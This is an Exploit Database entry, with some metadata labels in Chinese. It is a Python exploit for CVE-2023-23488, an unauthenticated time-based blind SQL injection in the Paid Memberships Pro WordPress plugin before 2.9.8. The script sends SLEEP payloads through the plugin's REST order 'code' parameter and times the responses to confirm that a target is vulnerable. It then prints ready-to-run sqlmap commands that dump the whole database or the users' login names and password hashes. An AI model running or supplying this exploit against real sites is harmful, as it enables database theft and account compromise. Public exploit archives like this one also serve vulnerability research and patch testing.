Paid Memberships Pro v2.9.8 (WordPress Plugin) – Unauthenticated SQL Injection

Exploit Database
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作者： r3nt0n

日期： 2023-04-03
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/51235/

#!/usr/bin/env python

# Exploit Title: Paid Memberships Prov2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection

# Exploit Author: r3nt0n

# CVE: CVE-2023-23488

# Date: 2023/01/24

# Vulnerability discovered by Joshua Martinelle

# Vendor Homepage: https://www.paidmembershipspro.com

# Software Link: https://downloads.wordpress.org/plugin/paid-memberships-pro.2.9.7.zip

# Advisory: https://github.com/advisories/GHSA-pppw-hpjp-v2p9

# Version: < 2.9.8

# Tested on: Debian 11 - WordPress 6.1.1 - Paid Memberships Pro 2.9.7

# Running this script against a WordPress instance with Paid Membership Pro plugin

# tells you if the target is vulnerable.

# As the SQL injection technique required to exploit it is Time-based blind, instead of

# trying to directly exploit the vuln, it will generate the appropriate sqlmap command

# to dump the whole database (probably very time-consuming) or specific chose data like

# usernames and passwords.

# Usage example: python3 CVE-2023-23488.py http://127.0.0.1/wordpress

import sys

import requests

def get_request(target_url, delay="1"):

payload = "a' OR (SELECT 1 FROM (SELECT(SLEEP(" + delay + ")))a)-- -"

data = {'rest_route': '/pmpro/v1/order',

'code': payload}

return requests.get(target_url, params=data).elapsed.total_seconds()

print('Paid Memberships Pro < 2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection\n')

if len(sys.argv) != 2:

print('Usage: {} <target_url>'.format("python3 CVE-2023-23488.py"))

print('Example: {} http://127.0.0.1/wordpress'.format("python3 CVE-2023-23488.py"))

sys.exit(1)

target_url = sys.argv[1]

try:

print('[-] Testing if the target is vulnerable...')

req = requests.get(target_url, timeout=15)

except:

print('{}[!] ERROR: Target is unreachable{}'.format(u'\033[91m',u'\033[0m'))

sys.exit(2)

if get_request(target_url, "1") >= get_request(target_url, "2"):

print('{}[!] The target does not seem vulnerable{}'.format(u'\033[91m',u'\033[0m'))

sys.exit(3)

print('\n{}[*] The target is vulnerable{}'.format(u'\033[92m', u'\033[0m'))

print('\n[+] You can dump the whole WordPress database with:')

print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump'.format(target_url))

print('\n[+] To dump data from specific tables:')

print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users'.format(target_url))

print('\n[+] To dump only WordPress usernames and passwords columns (you should check if users table have the default name):')

print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users -C user_login,user_pass'.format(target_url))

sys.exit(0)